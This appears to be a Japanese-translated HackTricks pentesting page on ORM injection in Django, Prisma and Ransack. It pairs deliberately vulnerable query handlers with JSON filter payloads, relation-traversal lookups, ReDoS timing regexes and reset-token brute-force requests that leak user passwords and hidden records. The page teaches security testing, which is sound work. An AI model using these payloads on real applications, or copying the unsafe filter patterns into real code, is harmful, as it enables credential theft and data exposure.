ORM Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Django ORM (Python)

この投稿では、例えば次のようなコードを使用することでDjango ORMを脆弱にする方法が説明されています。

class ArticleView(APIView):
"""
ユーザーが記事を検索するためにリクエストを送信する
基本的なAPIビュー
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

すべてのrequest.data(これはjsonになります)がデータベースからオブジェクトをフィルタリングするために直接渡されることに注意してください。攻撃者は予期しないフィルターを送信することで、予想以上のデータを漏洩させることができます。

例:

  • ログイン: 簡単なログインで、登録されているユーザーのパスワードを漏洩させようとします。

{
"username": "admin",
"password_startswith":"a"
}

パスワードをブルートフォースして漏洩させることが可能です。

  • リレーショナルフィルタリング: 操作に使用されることすら予想されていなかった列から情報を漏洩させるために、リレーションを横断することが可能です。例えば、次のリレーションを持つユーザーによって作成された記事を漏洩させることが可能であれば: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).

{
"created_by__user__password__contains":"pass"
}

すべての記事を作成したユーザーのパスワードを見つけることが可能です

  • 多対多のリレーショナルフィルタリング: 前の例では、記事を作成していないユーザーのパスワードを見つけることができませんでした。しかし、他のリレーションシップを追うことでこれは可能です。例えば: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).

{
"created_by__departments__employees__user_startswith":"admi"
}

この場合、記事を作成したユーザーの部門にいるすべてのユーザーを見つけ、その後にパスワードを漏洩させることができます(前のjsonではユーザー名を漏洩させているだけですが、その後にパスワードを漏洩させることが可能です)。

  • Djangoのグループと権限の多対多関係をユーザーと悪用する: さらに、AbstractUserモデルはDjangoでユーザーを生成するために使用され、デフォルトでこのモデルにはPermissionおよびGroupテーブルとの多対多関係があります。これは基本的に、同じグループにいるか、同じ権限を共有している場合に、1人のユーザーから他のユーザーにアクセスするためのデフォルトの方法です。

# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • フィルター制限のバイパス: 同じブログ投稿では、articles = Article.objects.filter(is_secret=False, **request.data)のようなフィルタリングの使用をバイパスすることが提案されました。is_secret=Trueのアーティクルをダンプすることが可能です。なぜなら、リレーションシップからArticleテーブルに戻ることができ、非秘密の記事から秘密の記事を漏洩させることができるからです。結果は結合され、is_secretフィールドは非秘密の記事でチェックされる一方で、データは秘密の記事から漏洩します。

Article.objects.filter(is_secret=False, categories__articles__id=2)

関係を悪用することで、表示されるデータを保護するためのフィルターをバイパスすることが可能です。

  • エラー/時間ベースのReDoS: 前の例では、フィルタリングが機能しているかどうかによって異なる応答が得られることが期待されていましたが、それをオラクルとして使用するためです。しかし、データベースで何らかのアクションが行われ、応答が常に同じである可能性もあります。このシナリオでは、データベースエラーを発生させて新しいオラクルを得ることが可能かもしれません。

// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
  • SQLite: デフォルトではregexpオペレーターがありません(サードパーティの拡張機能を読み込む必要があります)

  • PostgreSQL: デフォルトのregexタイムアウトがなく、バックトラッキングに対してより耐性があります

  • MariaDB: regexタイムアウトがありません

Prisma ORM (NodeJS)

以下はこの投稿から抽出されたトリックです。

  • 完全な検索制御:

const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

全てのJavaScriptボディがprismaに渡されてクエリを実行することが可能です。

元の投稿の例では、これは誰かによって作成されたすべての投稿をチェックし(各投稿は誰かによって作成されます)、その誰かのユーザー情報(ユーザー名、パスワードなど)も返します。

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

以下は、パスワードを持つ誰かによって作成されたすべての投稿を選択し、パスワードを返します:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • 完全な where 句の制御:

攻撃者が where 句を制御できる状況を見てみましょう:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // ORMの漏洩に対して脆弱
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

ユーザーのパスワードを直接フィルタリングすることが可能です:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})

startsWithのような操作を使用すると、情報が漏洩する可能性があります。

  • 多対多のリレーショナルフィルタリングによるフィルタリングのバイパス:

app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Category -[*..*]-> Article の多対多の関係を利用して、未公開の記事を漏洩させることが可能です:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

すべてのユーザーを漏洩させることも可能であり、いくつかのループバック多対多関係を悪用することができます:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • エラー/タイムクエリ: 元の投稿では、タイムベースのペイロードを使用して情報を漏洩させるための最適なペイロードを見つけるために実施された非常に広範なテストセットを読むことができます。これは:

{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Where the {CONTAINS_LIST} は、正しい漏洩が見つかったときに応答が遅延することを確認するための1000の文字列のリストです。

Ransack (Ruby)

これらのトリックはこの投稿で見つかりました

Ransack 4.0.0.0では、検索可能な属性と関連付けのために明示的な許可リストの使用が強制されることに注意してください。

脆弱な例:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

注意してください、クエリは攻撃者によって送信されたパラメータによって定義されます。例えば、リセットトークンをブルートフォースすることが可能でした:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

ブルートフォースと潜在的な関係を利用することで、データベースからより多くのデータを漏洩させることが可能でした。

参考文献

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated